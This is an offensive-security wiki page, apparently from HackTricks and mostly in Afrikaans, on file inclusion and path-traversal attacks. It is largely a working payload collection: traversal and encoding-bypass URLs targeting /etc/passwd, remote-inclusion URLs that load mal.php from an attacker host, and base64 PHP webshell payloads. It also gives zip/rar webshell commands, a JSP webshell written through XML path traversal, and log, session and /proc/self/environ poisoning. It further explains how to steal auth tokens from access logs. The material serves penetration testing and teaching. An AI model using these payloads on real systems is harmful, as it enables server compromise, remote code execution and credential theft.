File Inclusion/Path traversal

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

File Inclusion

Remote File Inclusion (RFI): Die lêer word vanaf ’n afstandse bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php this is disabled by default (allow_url_include).
Local File Inclusion (LFI): Die bediener laai ’n plaaslike lêer.

Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.

Vatbare PHP-funksies: require, require_once, include, include_once

’n Interessante hulpmiddel om hierdie kwesbaarheid uit te buit: https://github.com/kurobeats/fimap

Blind - Interessant - LFI2RCE-lêers

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Deur verskeie *nix LFI-lyste te meng en meer paaie by te voeg het ek hierdie een geskep:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Probeer ook om / vir \
Probeer ook om ../../../../../ by te voeg

’n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kontroleer of die kwetsbaarheid bestaan) kan here gevind word

Windows

Samevoeging van verskillende wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Probeer ook om / vir \
Probeer ook om C:/ te verwyder en ../../../../../ by te voeg

’n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kontroleer of die kwetsbaarheid bestaan) kan here gevind word

OS X

Kyk na die LFI-lys van linux.

Basiese LFI en bypasses

Al die voorbeelde is vir Local File Inclusion maar kan ook op Remote File Inclusion toegepas word (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences verwyder nie-rekursief

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Om die toevoeging van ekstra karakters aan die einde van die gegewe string te omseil (omseiling van: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Dit is opgelos sedert PHP 5.4

Kodering

Jy kan nie-standaard enkoderinge gebruik soos double URL encode (en ander):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Moderne HTML-to-PDF engines (e.g. TCPDF or wrappers such as html2pdf) ontleed gemaklik attacker-provided HTML, SVG, CSS en font URLs, maar hulle loop binne trusted backend networks met filesystem access. Sodra jy HTML kan inject in $pdf->writeHTML()/Html2Pdf::writeHTML(), kan jy dikwels exfiltrate local files wat die web server account kan read.

  • Fingerprint the renderer: elke gegenereerde PDF bevat ’n Producer field (bv. TCPDF 6.8.2). Om die presiese build te ken wys watter path filters bestaan en of URL decoding voor validation plaasvind.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() lees die xlink:href attribute van <image> elements voordat dit urldecode() uitvoer. Die inbedding van ’n malicious SVG binne ’n data URI veroorsaak dat baie HTML sanitizers die payload ignore terwyl TCPDF dit steeds parse:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF voeg $_SERVER['DOCUMENT_ROOT'] vooraan by paaie wat met / begin en los eers later .. op, gebruik dus óf voorloop-../../.. segmente óf /../../.. om na die prepend uit die root te ontsnap.

  • Kodering om naïewe filters te omseil: Weergawe ≤6.8.2 kontroleer slegs vir die letterlike substring ../ voor hulle die URL dekodeer. Om ..%2f (of ..%2F) in die SVG of in ’n rou <img src>-attribuut te stuur omseil die kontrole, omdat die traversering dot-dot-slash-reeks eers ná TCPDF se oproep na urldecode() herbou word.
  • Dubbel-kodering vir meerfases-dekodering: As gebruikerinvoer deur die web framework en deur TCPDF gedekodeer word, dubbel-kodeer die skuinsstreep (%252f). Een dekodering maak dit %2f, die tweede dekodering in TCPDF maak dit /, wat /..%252f../../../../… gee sonder ooit ../ aan die vroeë filter te wys.
  • HTML <img>-hanteerder: TCPDF::openHTMLTagHandler() bevat dieselfde volgorde-van-werking fout, wat direkte HTML-payloads soos src="%2f..%252f..%252ftmp%252fsecret.png" toelaat om enige plaaslik bereikbare bitmap te lees.

Hierdie tegniek leaks alles wat deur die PDF worker geleesbaar is (paspoortskanderings, API-sleutels wat as beelde gerender word, ens.). Hardeners het dit in 6.9.1 reggemaak deur paaie te kanoniseer (isRelativePath()), dus prioritiseer ouer Producer weergawes tydens toetse.

Vanuit bestaande vouer

Miskien kontroleer die back-end die vouerpad:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Verken lêerstelselgidse op ’n bediener

Die lêerstelsel van ’n bediener kan rekursief ondersoek word om gidse te identifiseer, nie net lêers nie, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die gidsdiepte en die ondersoek na die bestaan van spesifieke gidse. Hieronder volg ’n gedetailleerde metode om dit te bereik:

  1. Bepaal gidsdiepte: Bepaal die diepte van jou huidige gids deur suksesvol die /etc/passwd lêer te haal (van toepassing as die bediener op Linux gebaseer is). ’n Voorbeeld-URL kan soos volg gestruktureer wees, wat ’n diepte van drie aandui:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Soek na vouers: Voeg die naam van die vermoedelike vouer (bv. private) by die URL, en navigeer dan terug na /etc/passwd. Die addisionele gidsvlak vereis dat die depth met een verhoog word:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpreteer die uitslae: Die bediener se reaksie dui aan of die gids bestaan:
  • Fout / Geen Uitset: Die gids private bestaan waarskynlik nie by die gespesifiseerde ligging nie.
  • Inhoud van /etc/passwd: Die teenwoordigheid van die gids private is bevestig.
  1. Rekursiewe verkenning: Gevonde gidse kan verder ondersoek word vir subgidse of lêers deur dieselfde tegniek of tradisionele Local File Inclusion (LFI)-metodes te gebruik.

Om gidse op verskillende plekke in die lêerstelsel te verken, pas die payload ooreenkomstig aan. Byvoorbeeld, om te kontroleer of /var/www/ private bevat (aangenome dat die huidige gids op ’n diepte van 3 is), gebruik:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation is ’n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lêers te kry deur sekere sekuriteitsmaatreëls te omseil wat ekstra karakters aan die einde van lêerpaaie byvoeg. Die doel is om ’n lêerpad te konstruer wat, sodra dit deur die sekuriteitsmaatreël verander is, steeds na die verlangde lêer wys.

In PHP, verskeie voorstellings van ’n lêerpad kan as ekwivalent beskou word as gevolg van die aard van die lêerstelsel. Byvoorbeeld:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ word almal as dieselfde pad behandel.
  • As die laaste 6 karakters passwd is, sal die byvoeging van / (waardeur dit passwd/ word) nie die geteikende lêer verander nie.
  • Net so, as .php aan ’n lêerpad bygevoeg word (soos shellcode.php), sal die toevoeging van /. aan die einde nie die aangesproke lêer verander nie.

Die onderstaande voorbeelde toon hoe om path truncation te gebruik om toegang tot /etc/passwd te verkry, ’n algemene teiken weens sy sensitiewe inhoud (inligting oor gebruikersrekeninge):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In hierdie scenario’s kan die aantal traversals wat benodig word ongeveer 2027 wees, maar hierdie getal kan wissel op grond van die server se konfigurasie.

  • Using Dot Segments and Additional Characters: Traversal sequences (../) gekombineer met ekstra dot segments en karakters kan gebruik word om deur die lêerstelsel te navigeer, en effektief aangehegte stringe deur die server te ignoreer.
  • Determining the Required Number of Traversals: Deur proef-en-fout kan mens die presiese aantal ../-volgordes vind wat nodig is om na die root directory te navigeer en daarna na /etc/passwd, en sodoende seker te maak dat enige aangehegte stringe (soos .php) geneutraliseer word, maar die verlangde pad (/etc/passwd) ongeskonde bly.
  • Starting with a Fake Directory: Dit is algemene praktyk om die pad te begin met ’n nie-bestaande gids (soos a/). Hierdie tegniek word gebruik as ’n voorsorgmaatreël of om te voldoen aan die vereistes van die server se pad-ontledingslogika.

Wanneer path truncation techniques toegepas word, is dit van kardinale belang om die server se pad-ontledingsgedrag en lêerstelselstruktuur te verstaan. Elke scenario mag ’n ander benadering vereis, en toetsing is dikwels nodig om die mees effektiewe metode te vind.

Hierdie kwesbaarheid is reggestel in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

In php is dit standaard gedeaktiveer omdat allow_url_include is Off. Dit moet On wees om te werk, en in daardie geval kan jy ’n PHP-lêer vanaf jou bediener insluit en RCE kry:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

As om een of ander rede allow_url_include op Aan is, maar PHP toegang tot eksterne webblaaie filtreer, according to this post, kan jy byvoorbeeld die data protocol met base64 gebruik om ’n b64 PHP code te decodeer en egt RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

In die vorige kode is die finale +.txt bygevoeg omdat die aanvaller ’n string nodig gehad het wat op .txt eindig, dus eindig die string daarmee en na die b64 decode sal daardie deel net gemors teruggee en die werklike PHP-kode ingesluit word (en dus uitgevoer).

Nog ’n voorbeeld wat nie die php:// protocol gebruik nie sou wees:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python wortelelement

In Python, in ’n kode soos hierdie:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

As die gebruiker ’n absolute pad aan file_name deurgee, word die vorige pad net verwyder:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Dit is die bedoelde gedrag volgens die docs:

As ’n komponent ’n absolute pad is, word alle vorige komponente weggegooi en gaan die samevoeging voort vanaf die absolute pad-komponent.

Java Lys van gidse

Dit lyk asof as jy ’n Path Traversal in Java het en jy vir ’n gids vra in plaas van ’n lêer, ’n lys van die gids teruggestuur word. Dit sal nie in ander tale gebeur nie (afaik).

Top 25 parameters

Hier is ’n lys van die top 25 parameters wat kwesbaar kan wees vir local file inclusion (LFI) kwesbaarhede (van link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI gebruik PHP-wrappers & protokolle

php://filter

PHP filters laat toe om basiese wysigingsoperasies op die data uit te voer voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Verwyder tags uit die data (alles tussen die “<” en “>” karakters)
  • Let daarop dat hierdie filter in moderne weergawes van PHP verdwyn het
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transformeer na ’n ander enkodering (convert.iconv.<input_enc>.<output_enc>). Om die lys van alle enkodings wat ondersteun word te kry, hardloop in die konsole: iconv -l

Warning

As jy die convert.iconv.* omskakelingsfilter misbruik, kan jy willekeurige teks genereer, wat nuttig kan wees om willekeurige teks te skryf of om ’n funksie soos include te laat verwerk wat willekeurige teks hanteer. For more info check LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Komprimeer die inhoud (useful if exfiltrating a lot of info)
  • zlib.inflate: Dekomprimeer die data
  • Encryption Filters
  • mcrypt.* : Verouderd
  • mdecrypt.* : Verouderd
  • Ander filters
  • As jy in php var_dump(stream_get_filters()); uitvoer, kan jy ’n paar onverwagte filters vind:
  • consumed
  • dechunk: keert HTTP chunked encoding om
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

Die deel “php://filter” is nie hooflettergevoelig nie

Gebruik php filters as oracle om arbitrêre lêers te lees

In this post is ’n tegniek voorgestel om ’n plaaslike lêer te lees sonder dat die uitset deur die bediener teruggegee word. Hierdie tegniek is gebaseer op ’n boolean exfiltration of the file (char by char) using php filters as oracle. Dit is omdat php filters gebruik kan word om ’n teks groot genoeg te maak sodat php ’n exception gooi.

In die oorspronklike pos kan jy ’n gedetailleerde verduideliking van die tegniek vind, maar hier is ’n kort opsomming:

  • Gebruik die codec UCS-4LE om die leidende karakter van die teks aan die begin te laat en die stringgrootte eksponensieel te laat toeneem.
  • Dit sal gebruik word om ’n teks so groot te genereer dat wanneer die aanvanklike letter korrek geraai is php ’n fout sal veroorsaak.
  • Die dechunk filter sal alles verwyder as die eerste karakter nie ’n hexadecimal is nie, sodoende kan ons weet of die eerste karakter hex is.
  • Dit, gekombineer met die vorige een (en ander filters afhangende van die geraaide letter), sal ons toelaat om ’n letter aan die begin van die teks te raai deur te kyk wanneer ons genoeg transformasies toepas om dit nie meer ’n hexadecimal karakter te maak nie. Omdat as dit hex is, verwyder dechunk dit nie en die aanvanklike bom sal ’n php-fout veroorsaak.
  • Die codec convert.iconv.UNICODE.CP930 transformeer elke letter na die volgende een (so na hierdie codec: a -> b). Dit laat ons toe om te ontdek of die eerste letter byvoorbeeld a is want as ons 6 keer hierdie codec toepas a->b->c->d->e->f->g, is die letter nie meer ’n hexadecimal karakter nie, daarom verwyder dechunk dit nie en word die php-fout geaktiveer omdat dit met die aanvanklike bom vermenigvuldig.
  • Deur ander transformasies soos rot13 aan die begin te gebruik, is dit moontlik om ander karakters te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters na die hex-reeks te skuif).
  • As die aanvanklike karakter ’n nommer is, is dit nodig om dit base64 te enkodeer en die eerste 2 letters te leak om die nommer te leak.
  • Die finale probleem is om te bepaal hoe om meer as die aanvanklike letter te leak. Deur order memory filters soos convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE te gebruik, is dit moontlik om die volgorde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
  • En om in staat te wees om verdere data te verkry, is die idee om 2 bytes rommeldata aan die begin te genereer met convert.iconv.UTF16.UTF16, UCS-4LE toe te pas om dit met die volgende 2 bytes te pivot, en verwyder die data tot by die rommeldata (dit sal die eerste 2 bytes van die oorspronklike teks verwyder). Gaan so voort totdat jy die gewenste deel bereik om te leak.

In die pos is ook ’n hulpmiddel gelek om dit outomaties uit te voer: php_filters_chain_oracle_exploit.

php://fd

Hierdie wrapper maak dit moontlik om toegang tot file descriptors wat die proses oop het, te kry. Potensieel nuttig om die inhoud van oop lêers te exfiltrate:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Jy kan ook gebruik maak van php://stdin, php://stdout and php://stderr om onderskeidelik toegang te kry tot die file descriptors 0, 1 and 2 (ek is nie seker hoe dit in ’n aanval nuttig kan wees nie)

zip:// and rar://

Laai ’n Zip- of Rar-lêer met ’n PHPShell binne op en kry toegang daartoe.
Om die rar protocol te kan misbruik, moet dit spesifiek geaktiveer word.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Neem kennis dat hierdie protokol beperk word deur php-konfigurasies allow_url_open en allow_url_include

expect://

Expect moet geaktiveer wees. Jy kan kode hiermee uitvoer:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Spesifiseer jou payload in die POST-parameters:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

’n .phar-lêer kan gebruik word om PHP-kode uit te voer wanneer ’n webtoepassing funksies soos include vir lêerlaai gebruik. Die PHP-kodefragment hieronder wys hoe ’n .phar-lêer geskep word:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Om die .phar-lêer te kompileer, moet die volgende opdrag uitgevoer word:

php --define phar.readonly=0 create_path.php

Wanneer uitgevoer sal ’n lêer met die naam test.phar geskep word, wat moontlik benut kan word om Local File Inclusion (LFI)-kwelsbaarhede te misbruik.

In gevalle waar die LFI slegs lêerlees uitvoer sonder om die PHP-kode daarin uit te voer — deur funksies soos file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), of filesize() — kan ’n poging aangewend word om ’n deserialisasie-kwesbaarheid te misbruik. Hierdie kwesbaarheid hou verband met die lees van lêers deur die phar-protocol.

Vir ’n gedetaileerde begrip van die uitbuiting van deserialisasie-kwesbaarhede in die konteks van .phar-lêers, verwys na die dokument hieronder:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Dit was moontlik om any arbitrary file read from PHP that supports php filters te misbruik om ’n RCE te kry. Die gedetaileerde beskrywing kan found in this post.
Baie vinnige opsomming: ’n 3 byte overflow in die PHP-heap is misbruik om die ketting van vrye chunks van ’n spesifieke grootte te verander sodat dit moontlik was om write anything in any address, dus is ’n hook bygevoeg om system aan te roep.
Dit was moontlik om chunks van spesifieke groottes te alloc deur meer php filters te misbruik.

Meer protokolle

Kyk na meer moontlike protocols to include here:

  • [php://memory and php://temp] — Skryf in geheue of in ’n tydelike lêer (nie seker hoe dit nuttig kan wees in ’n file inclusion attack nie)
  • [file://] — Toegang tot die plaaslike lêerstelsel
  • [http://] — Toegang tot HTTP(s) URLs
  • [ftp://] — Toegang tot FTP(s) URLs
  • [zlib://] — Kompressiestrome
  • [glob://] — Vind padname wat by ’n patroon pas (Dit gee niks drukbaars terug nie, so dit is nie regtig nuttig hier nie)
  • [ssh2://] — Secure Shell 2
  • [ogg://] — Audiostrome (Nie nuttig om arbitrêre lêers te lees nie)

LFI via PHP se ‘assert’

Local File Inclusion (LFI)-risiko’s in PHP is besonder hoog wanneer daar met die ‘assert’-funksie gewerk word, wat kode binne stringe kan uitvoer. Dit is besonder problematies as insette met directory traversal-karakters soos “..” gekontroleer word maar nie behoorlik gesuiwer word nie.

Byvoorbeeld, PHP-kode mag ontwerp wees om directory traversal soos volg te voorkom:

assert("strpos('$file', '..') === false") or die("");

Terwyl dit daarop gemik is om traversal te stop, skep dit onbedoeld ’n vektor vir code injection. Om dit te benut vir reading file contents, kan ’n attacker gebruik:

' and die(highlight_file('/etc/passwd')) or '

Net so, om willekeurige stelselopdragte uit te voer, kan ’n mens die volgende gebruik:

' and die(system("id")) or '

Dit is belangrik om hierdie payloads te URL-encode.

PHP Blind Path Traversal

Warning

Hierdie tegniek is relevant in gevalle waar jy die control van die file path van ’n PHP function het wat ’n access a file sal uitvoer, maar jy sal nie die inhoud van die file sien nie (soos ’n eenvoudige oproep na file()) omdat die inhoud nie gewys word nie.

In this incredible post word verduidelik hoe ’n blind path traversal via PHP filter misbruik kan word om exfiltrate the content of a file via an error oracle.

As opsomming gebruik die tegniek die “UCS-4LE” encoding om die inhoud van ’n file so big te maak dat die PHP function opening die file ’n error sal veroorsaak.

Dan, om die eerste char te leak, word die filter dechunk gebruik saam met ander soos base64 of rot13, en uiteindelik word die filters convert.iconv.UCS-4.UCS-4LE en convert.iconv.UTF16.UTF-16BE gebruik om ander karakters aan die begin te plaas en hulle te leak.

Funksies wat moontlik kwesbaar is: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Vir die tegniese besonderhede kyk na die genoemde post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Wanneer server-side kode wat files ingest/upload verwerk die bestemmingspad bou met data wat deur die gebruiker beheer word (bv. ’n filename of URL) sonder om dit te canonicalise en te valideer, kan .. segments en absolute paths uit die bedoelde directory ontsnap en ’n arbitrary file write veroorsaak. As jy die payload onder ’n web-exposed directory kan plaas, kry jy gewoonlik unauthenticated RCE deur ’n webshell te drop.

Tipiese eksploitasie-werkvloeisel:

  • Identifiseer ’n write primitive in ’n endpoint of background worker wat ’n path/filename aanvaar en inhoud na skyf skryf (bv. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ens.).
  • Bepaal web-exposed directories. Algemene voorbeelde:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Skep ’n traversal path wat uit die bedoelde stoor-directory breek en in die webroot eindig, en sluit jou webshell-inhoud in.
  • Blaai na die gedropte payload en voer opdragte uit.

Notas:

  • Die kwesbare diens wat die skryf uitvoer kan op ’n non-HTTP port luister (bv. ’n JMF XML listener op TCP 4004). Die hoof web portal (verskillende poort) sal later jou payload bedien.
  • Op Java stacks word hierdie file writes dikwels geïmplementeer met eenvoudige File/Paths concatenation. Gebrek aan canonicalisation/allow-listing is die kernfout.

Generiese XML/JMF-styl voorbeeld (produk schemas verskil – die DOCTYPE/body wrapper is irrelevant vir die traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Versterkingsmaatreëls wat hierdie klas foute teëwerk:

  • Los dit op na ’n kanonieke pad en dwing af dat dit ’n afstammeling is van ’n toegelate basismap.
  • Weier enige pad wat .., absolute wortels, of drive letters bevat; verkies gegenereerde filenames.
  • Laat die writer hardloop as ’n rekening met lae bevoegdhede en skei write directories van die gediensde roots.

Remote File Inclusion

Voorheen verduidelik, follow this link.

Via Apache/Nginx log file

If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log or /var/log/nginx/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and include that file

Warning

Let wel dat as jy dubbel aanhalingstekens gebruik vir die shell in plaas van simple quotes, sal die dubbel aanhalingstekens verander word na die string “quote;”, PHP will throw an error daar en niks anders sal uitgevoer word.

Maak ook seker jy write correctly the payload anders sal PHP elke keer ’n fout gee wanneer dit probeer om die log file te laad en jy sal nie ’n tweede kans hê nie.

This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation “basic” contains “user:password” in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
Ander moontlike logpade:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Lees access logs om GET-based auth tokens te oes (token replay)

Baie apps aanvaar per ongeluk session/auth tokens via GET (bv. AuthenticationToken, token, sid). As jy ’n path traversal/LFI-primitive op web server logs het, kan jy daardie tokens uit die access logs steel en dit replay om authentication volledig te omseil.

Hoe om:

  • Gebruik die traversal/LFI om die web server access log te lees. Algemene liggings:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Sommige endpoints gee file reads terug Base64-encoded. Indien wel, decodeer dit plaaslik en ondersoek die logreëls.
  • Grep vir GET-requests wat ’n token-parameter bevat en vang die waarde op, en replay dit dan teen die application entry point.

Voorbeeldvloei (generies):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Dekodeer die body as dit Base64 is, en speel dan ’n vasgevangde token terug:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Aantekeninge:

  • Tokens in URLs word standaard gelog; aanvaar nooit bearer tokens via GET in produksie-omgewings.
  • As die app meerdere token names ondersteun, soek na algemene sleutels soos AuthenticationToken, token, sid, access_token.
  • Draai enige tokens wat moontlik leaked na logs.

Via E-pos

Stuur ’n e-pos na ’n interne rekening (user@localhost) wat jou PHP payload bevat soos <?php echo system($_REQUEST["cmd"]); ?> en probeer dit include in die gebruiker se mail met ’n pad soos /var/mail/<USERNAME> of /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. Upload baie shells (byvoorbeeld : 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, met $PID = PID van die proses (kan brute forced word) en $FD die file descriptor (kan ook brute forced word)

Via /proc/self/environ

Soos ’n log file, stuur die payload in die User-Agent; dit sal weerspieël word binne die /proc/self/environ file

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

As jy ’n file kan upload, net inject die shell payload daarin (bv.: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Om die lêer leesbaar te hou, is dit die beste om dit in die metadata van die prente/doc/pdf in te voeg

Deur ’n ZIP-lêer op te laai

Laai ’n ZIP-lêer op wat ’n PHP shell bevat (gekomprimeer) en kry toegang:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Deur PHP Session

Kontroleer of die webwerf PHP Session gebruik (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP word hierdie sessies gestoor in /var/lib/php5/sess\[PHPSESSID]_ lêers

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Stel die cookie in op <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Gebruik die LFI om die PHP-sessielêer in te sluit

